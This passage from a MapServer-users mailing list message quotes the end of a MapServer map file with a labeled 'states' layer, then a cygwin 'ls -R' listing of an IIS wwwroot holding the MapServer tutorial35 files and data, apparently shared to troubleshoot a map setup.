'land') > # EXPRESSION 'land' > COLOR 0 0 0 > END # end of States class object > END # end of layer object > > LAYER # States > NAME "states" > DATA states_ugl > STATUS DEFAULT > TYPE ANNOTATION > > LABELITEM "STATE" > CLASSITEM "CLASS" > CLASS # States class > EXPRESSION 'land' > COLOR -1 -1 -1 > LABEL > COLOR 132 31 31 > SHADOWCOLOR 218 218 218 > SHADOWSIZE 2 2 > TYPE TRUETYPE > FONT arial-bold > SIZE 14 > ANTIALIAS TRUE > POSITION CL > PARTIALS FALSE > MINDISTANCE 250 > BUFFER 4 > END # end of label > END # end of States class object > END # end of layer object > > END # end of map file > > ---------------- cut here --------------------------- > Directory listing -- this looks like a Unix directory listing because > it's the output of the cygwin command "ls - R" in the directory > c:\inetpub\wwwroot > This is a Windows system, though. > -------------- cut here ------------------------ > .: > total 47 > drwxr-xr-x 6 Administ None 4096 Jan 31 15:25 MapServerApps > drwxrwxrwx 2 Administ None 0 Jan 7 13:32 _private > drwxr-xr-x 2 Administ None 4096 Jan 10 10:16 _vti_cnf > -rwxr-xr-x 1 Administ None 1759 Jan 7 13:32 _vti_inf.html > drwxrwxrwt 2 Administ None 0 Jan 7 13:32 _vti_log > drwxrwxrwt 2 Administ None 4096 Jan 10 10:20 _vti_pvt > drwxr-xr-x 2 Administ None 0 Jan 7 13:32 _vti_script > drwxrwxrwt 2 Administ None 0 Jan 7 13:32 _vti_txt > -rwxr-xr-x 1 Administ None 451 Jan 7 13:49 default.htm > -rw-rw-rw- 1 Administ None 0 Jan 31 15:28 flist.out > -rwxr-xr-x 1 Administ None 79 Feb 17 1998 global.asa > -rwxr-xr-x 1 Administ None 342 Jun 4 1999 help.gif > -rwxr-xr-x 1 Administ None 1736 Jun 4 1999 iisstart.asp > drwxr-xr-x 2 Administ None 0 Jan 7 13:32 images > -rwxr-xr-x 1 Administ None 7240 Sep 22 1999 localstart.asp > -rwxr-xr-x 1 Administ None 1684 Jan 24 11:08 > mapserver_documentation.htm > -rwxr-xr-x 1 Administ None 356 Jun 4 1999 mmc.gif > -rwxr-xr-x 1 Administ None 2806 Jun 4 1999 pagerror.gif > -rwxr-xr-x 1 Administ None 2497 Jan 7 13:32 postinfo.html > -rwxr-xr-x 1 Administ None 1046 Jun 4 1999 print.gif > drwxrwxrwx 2 Administ None 0 Jan 31 15:27 tmp > -rwxr-xr-x 1 Administ None 1577 Jun 4 1999 warning.gif > -rwxr-xr-x 1 Administ None 1182 Jun 4 1999 web.gif > -rwxr-xr-x 1 Administ None 4670 Jun 4 1999 win2000.gif > > ./MapServerApps: > total 8 > drwxr-xr-x 5 Administ None 0 Jan 31 14:55 data > drwxr-xr-x 2 Administ None 4096 Jan 31 14:34 fonts > drwxr-xr-x 2 Administ None 0 Jan 27 16:22 images > drwxr-xr-x 12 Administ None 4096 Jan 31 14:21 tutorial35 > > ./MapServerApps/data: > total 0 > drwxr-xr-x 2 Administ None 0 Jan 27 16:22 raster > drwxr-xr-x 2 Administ None 0 Jan 31 14:55 tmp > drwxr-xr-x 2 Administ None 0 Jan 27 16:22 vector > > ./MapServerApps/data/raster: > total 0 > > ./MapServerApps/data/tmp: > total 0 > > ./MapServerApps/data/vector: > total 0 > > ./MapServerApps/fonts: > total 547 > -rwxr-xr-x 1 Administ None 273020 Jul 26 2000 ARIAL.TTF > -rwxr-xr-x 1 Administ None 284560 Jul 26 2000 ARIALBD.TTF > -rwxr-xr-x 1 Administ None 41 Jan 31 14:21 fonts.list > -rwxr-xr-x 1 Administ None 71 Jan 31 14:15 fonts.list~ > > ./MapServerApps/images: > total 0 > > ./MapServerApps/tutorial35: > total 69 > -rwxr-xr-x 1 Administ None 1130 Jul 6 2002 LICENSE.txt > drwxr-xr-x 3 Administ None 16384 Jan 31 13:32 data > -rwxr-xr-x 1 Administ None 1069 Apr 26 2002 download.html > -rwxr-xr-x 1 Administ None 75 Jan 31 14:14 fonts.list~ > drwxr-xr-x 2 Administ None 0 Jan 31 13:32 images > -rwxr-xr-x 1 Administ None 8713 Jul 6 2002 index.html > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 java > -rwxr-xr-x 1 Administ None 2574 Mar 8 2002 markup.css > -rwxr-xr-x 1 Administ None 860 Apr 14 2002 ms35.css > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s1 > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s2 > drwxr-xr-x 2 Administ None 8192 Jan 31 15:01 s3 > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s4 > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s5 > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 s6 > -rwxr-xr-x 1 Administ None 1628 Jul 6 2002 sections.html > drwxr-xr-x 2 Administ None 0 Jan 31 13:32 symbols > -rwxr-xr-x 1 Administ None 118 Apr 11 2002 tutorial35_tree.txt > > ./MapServerApps/tutorial35/data: > total 16978 > -rwxr-xr-x 1 Administ None 43103 Mar 7 2002 co2000_ugl.dbf > -rwxr-xr-x 1 Administ None 10180 Mar 7 2002 co2000_ugl.sbn > -rwxr-xr-x 1 Administ None 900 Mar 7 2002 co2000_ugl.sbx > -rwxr-xr-x 1 Administ None 667172 Mar 7 2002 co2000_ugl.shp > -rwxr-xr-x 1 Administ None 3708 Mar 7 2002 co2000_ugl.shx > -rwxr-xr-x 1 Administ None 25673 Feb 6 2002 co2000p020.txt > -rwxr-xr-x 1 Administ None 210750 Mar 7 2002 fedlan_ugl.dbf > -rwxr-xr-x 1 Administ None 227456 Mar 7 2002 fedlan_ugl.shp > -rwxr-xr-x 1 Administ None 2500 Mar 7 2002 fedlan_ugl.shx > -rwxr-xr-x 1 Administ None 41117 Jan 15 2002 fedlanp020.txt > -rwxr-xr-x 1 Administ None 33429 Sep 27 2001 hydrogm020.txt > -rwxr-xr-x 1 Administ None 1183928 Mar 7 2002 hydrol_ugl.dbf > -rwxr-xr-x 1 Administ None 2332764 Mar 7 2002 hydrol_ugl.shp > -rwxr-xr-x 1 Administ None 39884 Mar 7 2002 hydrol_ugl.shx > -rwxr-xr-x 1 Administ None 506006 Mar 7 2002 hydrop_ugl.dbf > -rwxr-xr-x 1 Administ None 2290160 Mar 7 2002 hydrop_ugl.shp > -rwxr-xr-x 1 Administ None 17244 Mar 7 2002 hydrop_ugl.shx > -rwxr-xr-x 1 Administ None 3619390 Mar 7 2002 plss00_ugl.dbf > -rwxr-xr-x 1 Administ None 1370568 Mar 7 2002 plss00_ugl.shp > -rwxr-xr-x 1 Administ None 52172 Mar 7 2002 plss00_ugl.shx > -rwxr-xr-x 1 Administ None 30501 Aug 27 2001 plss00p020.txt > drwxr-xr-x 2 Administ None 4096 Jan 31 13:32 raster > -rwxr-xr-x 1 Administ None 1049116 Mar 14 2002 roads.dbf > -rwxr-xr-x 1 Administ None 40964 Mar 14 2002 roads.sbn > -rwxr-xr-x 1 Administ None 3908 Mar 14 2002 roads.sbx > -rwxr-xr-x 1 Administ None 766496 Mar 14 2002 roads.shp > -rwxr-xr-x 1 Administ None 29332 Mar 14 2002 roads.shx > -rwxr-xr-x 1 Administ None 1049116 Apr 23 2002 roads_ugl.dbf > -rwxr-xr-x 1 Administ None 766496 Mar 7 2002 roads_ugl.shp > -rwxr-xr-x 1 Administ None 29332 Mar 7 2002 roads_ugl.shx > -rwxr-xr-x 1 Administ None 31134 Sep 25 2001 roadtrl020.txt > -rwxr-xr-x 1 Administ None 13078 Mar 7 2002 states_ugl.dbf > -rwxr-xr-x 1 Administ None 520236 Mar 7 2002 states_ugl.shp > -rwxr-xr-x 1 Administ None 1732 Mar 7 2002 states_ugl.shx > -rwxr-xr-x 1 Administ None 19317 Sep 6 2001 statesp020.txt > -rwxr-xr-x 1 Administ None 111 Mar 7 2002 uglbound.dbf > -rwxr-xr-x 1 Administ None 81868 Mar 7 2002 uglbound.shp > -rwxr-xr-x 1 Administ None 108 Mar 7 2002 uglbound.shx > -rwxr-xr-x 1 Administ None 58761 Mar 7 2002 urban_ugl.dbf > -rwxr-xr-x 1 Administ None 168412 Mar 7 2002 urban_ugl.shp > -rwxr-xr-x 1 Administ None 4172 Mar 7 2002 urban_ugl.shx > -rwxr-xr-x 1 Administ None 17679 Oct 29 2001 urbanap020.txt > > ./MapServerApps/tutorial35/data/raster: > total 15829 > -rwxr-xr-x 1 Administ None 6529545 Apr 24 2002 > mod13a12000257evi.tif > -rwxr-xr-x 1 Administ None 6433369 Apr 23 2002 > mod13a12000257evi_l.tif > -rwxr-xr-x 1 Administ None 2118176 Apr 24 2002 shdrlfi020g_ugl.tif > -rwxr-xr-x 1 Administ None 94 Mar 13 2002 shdrlfi020g_ugl.wld > -rwxr-xr-x 1 Administ None 1123518 Apr 14 2002 shdrlfi020l_ugl.tif > -rwxr-xr-x 1 Administ None 87 Apr 14 2002 shdrlfi020l_ugl.wld > > ./MapServerApps/tutorial35/images: > total 6 > -rwxr-xr-x 1 Administ None 2820 Mar 14 2002 ref1.gif > -rwxr-xr-x 1 Administ None 2607 May 8 2002 ugl_ref_geo.gif > > ./MapServerApps/tutorial35/java: > total 29 > -rwxr-xr-x 1 Administ None 2691 Dec 22 2000 README > -rwxr-xr-x 1 Administ None 1243 Feb 13 2001 evalThread.class > -rwxr-xr-x 1 Administ None 6600 Feb 13 2001 mapplet.class > -rwxr-xr-x 1 Administ None 7918 Feb 2 2001 mapplet.java > -rwxr-xr-x 1 Administ None 8471 Jul 6 2001 mapplet.zip > > ./MapServerApps/tutorial35/s1: > total 23 > -rwxr-xr-x 1 Administ None 1098 Apr 26 2002 index.html > -rwxr-xr-x 1 Administ None 1891 Apr 30 2002 s1ex1.html > -rwxr-xr-x 1 Administ None 709 Apr 30 2002 s1ex1.map > -rwxr-xr-x 1 Administ None 1814 Mar 14 2002 s1ex1_code.html > -rwxr-xr-x 1 Administ None 1211 Apr 30 2002 s1ex1_map.html > -rwxr-xr-x 1 Administ None 1239 Apr 28 2002 s1ex2.html > -rwxr-xr-x 1 Administ None 1644 Apr 30 2002 s1ex2.map > -rwxr-xr-x 1 Administ None 1774 Mar 14 2002 s1ex2_code.html > -rwxr-xr-x 1 Administ None 1445 Mar 14 2002 s1ex2_map.html > -rwxr-xr-x 1 Administ None 970 Apr 28 2002 s1ex3.html > -rwxr-xr-x 1 Administ None 738 Apr 30 2002 s1ex3.map > -rwxr-xr-x 1 Administ None 1906 Mar 14 2002 s1ex3_code.html > -rwxr-xr-x 1 Administ None 1170 Mar 14 2002 s1ex3_map.html > > ./MapServerApps/tutorial35/s2: > total 37 > -rwxr-xr-x 1 Administ None 1377 May 2 2002 index.html > -rwxr-xr-x 1 Administ None 1221 Apr 28 2002 s2ex1.html > -rwxr-xr-x 1 Administ None 712 Mar 14 2002 s2ex1.map > -rwxr-xr-x 1 Administ None 933 Mar 14 2002 s2ex1_code.html > -rwxr-xr-x 1 Administ None 1420 Mar 14 2002 s2ex1_map.html > -rwxr-xr-x 1 Administ None 974 Apr 28 2002 s2ex2.html > -rwxr-xr-x 1 Administ None 1117 Mar 14 2002 s2ex2.map > -rwxr-xr-x 1 Administ None 1119 Mar 14 2002 s2ex2_code.html > -rwxr-xr-x 1 Administ None 1597 Apr 28 2002 s2ex2_map.html > -rwxr-xr-x 1 Administ None 2199 Apr 28 2002 s2ex3.html > -rwxr-xr-x 1 Administ None 1542 Apr 26 2002 s2ex3.map > -rwxr-xr-x 1 Administ None 2022 Apr 28 2002 s2ex3_map.html > -rwxr-xr-x 1 Administ None 1057 Apr 28 2002 s2ex4.html > -rwxr-xr-x 1 Administ None 2009 Apr 26 2002 s2ex4.map > -rwxr-xr-x 1 Administ None 2489 Apr 28 2002 s2ex4_map.html > -rwxr-xr-x 1 Administ None 1781 Apr 28 2002 s2ex5.html > -rwxr-xr-x 1 Administ None 2122 Apr 26 2002 s2ex5.map > -rwxr-xr-x 1 Administ None 2602 May 2 2002 s2ex5_map.html > > ./MapServerApps/tutorial35/s3: > total 61 > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 county_footer.html > -rwxr-xr-x 1 Administ None 135 May 2 2002 county_header.html > -rwxr-xr-x 1 Administ None 43 May 6 2002 county_query.html > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 fed_footer.html > -rwxr-xr-x 1 Administ None 193 May 2 2002 fed_header.html > -rwxr-xr-x 1 Administ None 114 May 2 2002 fed_query.html > -rwxr-xr-x 1 Administ None 451 Jul 5 2002 footer.html > -rwxr-xr-x 1 Administ None 154 May 2 2002 header.html > -rwxr-xr-x 1 Administ None 1590 Jan 31 13:44 index.html > -rwxr-xr-x 1 Administ None 1536 Jan 31 13:42 index.html~ > -rwxr-xr-x 1 Administ None 4690 May 2 2002 s3ex1.html > -rwxr-xr-x 1 Administ None 1958 Jan 31 14:34 s3ex2.html > -rwxr-xr-x 1 Administ None 1943 Jan 31 14:31 s3ex2.html~ > -rwxr-xr-x 1 Administ None 3120 Jan 31 15:01 s3ex2.map > -rwxr-xr-x 1 Administ None 3115 Jan 31 15:00 s3ex2.map~ > -rwxr-xr-x 1 Administ None 3482 May 2 2002 s3ex2_map.html > -rwxr-xr-x 1 Administ None 2803 Jul 5 2002 s3ex3.html > -rwxr-xr-x 1 Administ None 2918 Apr 26 2002 s3ex3.map > -rwxr-xr-x 1 Administ None 3398 May 2 2002 s3ex3_map.html > -rwxr-xr-x 1 Administ None 3185 Jul 5 2002 s3ex4.html > -rwxr-xr-x 1 Administ None 3571 Jul 5 2002 s3ex4.map > -rwxr-xr-x 1 Administ None 3398 May 2 2002 s3ex4_map.html > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 urban_footer.html > -rwxr-xr-x 1 Administ None 136 May 2 2002 urban_header.html > -rwxr-xr-x 1 Administ None 41 May 2 2002 urban_query.html > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 water_footer.html > -rwxr-xr-x 1 Administ None 162 May 2 2002 water_header.html > -rwxr-xr-x 1 Administ None 59 May 2 2002 water_query.html > > ./MapServerApps/tutorial35/s4: > total 27 > -rwxr-xr-x 1 Administ None 2670 Jul 5 2002 index.html > -rwxr-xr-x 1 Administ None 2508 Jul 5 2002 s4ex1.html > -rwxr-xr-x 1 Administ None 3754 Jul 5 2002 s4ex1.map > -rwxr-xr-x 1 Administ None 4533 Jul 5 2002 s4ex1_map.html > -rwxr-xr-x 1 Administ None 2499 Jul 5 2002 s4ex2.html > -rwxr-xr-x 1 Administ None 3835 Jul 5 2002 s4ex2.map > -rwxr-xr-x 1 Administ None 4509 Jul 5 2002 s4ex2_map.html > > ./MapServerApps/tutorial35/s5: > total 27 > -rwxr-xr-x 1 Administ None 2215 Jul 5 2002 index.html > -rwxr-xr-x 1 Administ None 2941 Apr 24 2002 s5ex1.html > -rwxr-xr-x 1 Administ None 4056 Jul 5 2002 s5ex1.map > -rwxr-xr-x 1 Administ None 4535 Jul 5 2002 s5ex1_map.html > -rwxr-xr-x 1 Administ None 3052 Jul 5 2002 s5ex3.html > -rwxr-xr-x 1 Administ None 9009 Jul 6 2002 s5ex3.map > > ./MapServerApps/tutorial35/s6: > total 32 > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 county_footer.html > -rwxr-xr-x 1 Administ None 135 May 2 2002 county_header.html > -rwxr-xr-x 1 Administ None 43 May 6 2002 county_query.html > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 fed_footer.html > -rwxr-xr-x 1 Administ None 193 May 2 2002 fed_header.html > -rwxr-xr-x 1 Administ None 114 May 2 2002 fed_query.html > -rwxr-xr-x 1 Administ None 451 Jul 6 2002 footer.html > -rwxr-xr-x 1 Administ None 154 May 2 2002 header.html > -rwxr-xr-x 1 Administ None 2261 Jul 6 2002 index.html > -rwxr-xr-x 1 Administ None 4039 Jul 6 2002 s6ex1.html > -rwxr-xr-x 1 Administ None 10467 Jul 6 2002 s6ex1.map > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 urban_footer.html > -rwxr-xr-x 1 Administ None 136 May 2 2002 urban_header.html > -rwxr-xr-x 1 Administ None 41 May 2 2002 urban_query.html > -rwxr-xr-x 1 Administ None 12 Nov 22 2000 water_footer.html > -rwxr-xr-x 1 Administ None 162 May 2 2002 water_header.html > -rwxr-xr-x 1 Administ None 59 May 2 2002 water_query.html > > ./MapServerApps/tutorial35/symbols: > total 2 > -rwxr-xr-x 1 Administ None 1166 Jan 9 2002 symbols35.sym > > ./_private: > total 0 > > ./_vti_cnf: > total 15 > -rwxr-xr-x 1 Administ None 791 Jan 7 13:49 default.htm > -rwxr-xr-x 1 Administ None 380 Jan 7 13:32 global.asa > -rwxr-xr-x 1 Administ None 344 Jan 7 13:32 help.gif > -rwxr-xr-x 1 Administ None 562 Jan 7 13:32 iisstart.asp > -rwxr-xr-x 1 Administ None 1075 Jan 7 13:32 localstart.asp > -rwxr-xr-x 1 Administ None 2080 Jan 10 11:07 > mapserver_documentation.htm > -rwxr-xr-x 1 Administ None 344 Jan 7 13:32 mmc.gif > -rwxr-xr-x 1 Administ None 341 Jan 7 13:32 pagerror.gif > -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 print.gif > -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 warning.gif > -rwxr-xr-x 1 Administ None 345 Jan 7 13:32 web.gif > -rwxr-xr-x 1 Administ None 347 Jan 7 13:32 win2000.gif > > ./_vti_log: > total 0 > > ./_vti_pvt: > total 18 > -rwxrwxrwx 1 Administ None 113 Jan 7 13:32 access.cnf > -rwxrwxrwx 1 Administ None 146 Jan 7 13:32 botinfs.cnf > -rwxrwxrwx 1 Administ None 323 Jan 7 13:32 bots.cnf > -rwxrwxrwx 1 Administ None 324 Jan 10 11:07 deptodoc.btr > -rwxrwxrwx 1 Administ None 5616 Jan 10 11:07 doctodep.btr > -rwxrw-rw- 1 Administ None 0 Jan 7 13:32 frontpg.lck > -rwxrwxrwx 1 Administ None 1125 Jan 10 10:20 linkinfo.cnf > -rwxrw-rw- 1 Administ None 1437 Jan 7 13:43 service.cnf > -rwxrw-rw- 1 Administ None 0 Jan 10 11:07 service.lck > -rwxrwxrwx 1 Administ None 3 Jan 7 13:32 services.cnf > -rwxrwxrwx 1 Administ None 89 Jan 10 10:20 structure.cnf > -rwxrwxrwx 1 Administ None 66 Jan 7 13:32 svcacl.cnf > -rwxrw-rw- 1 Administ None 0 Jan 7 13:32 uniqperm.cnf > -rwxrwxrwx 1 Administ None 25 Jan 7 13:32 writeto.cnf > > ./_vti_script: > total 0 > > ./_vti_txt: > total 0 > > ./images: > total 0 > > ./tmp: > total 0 > ----------------------- cut here ----------------------- > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >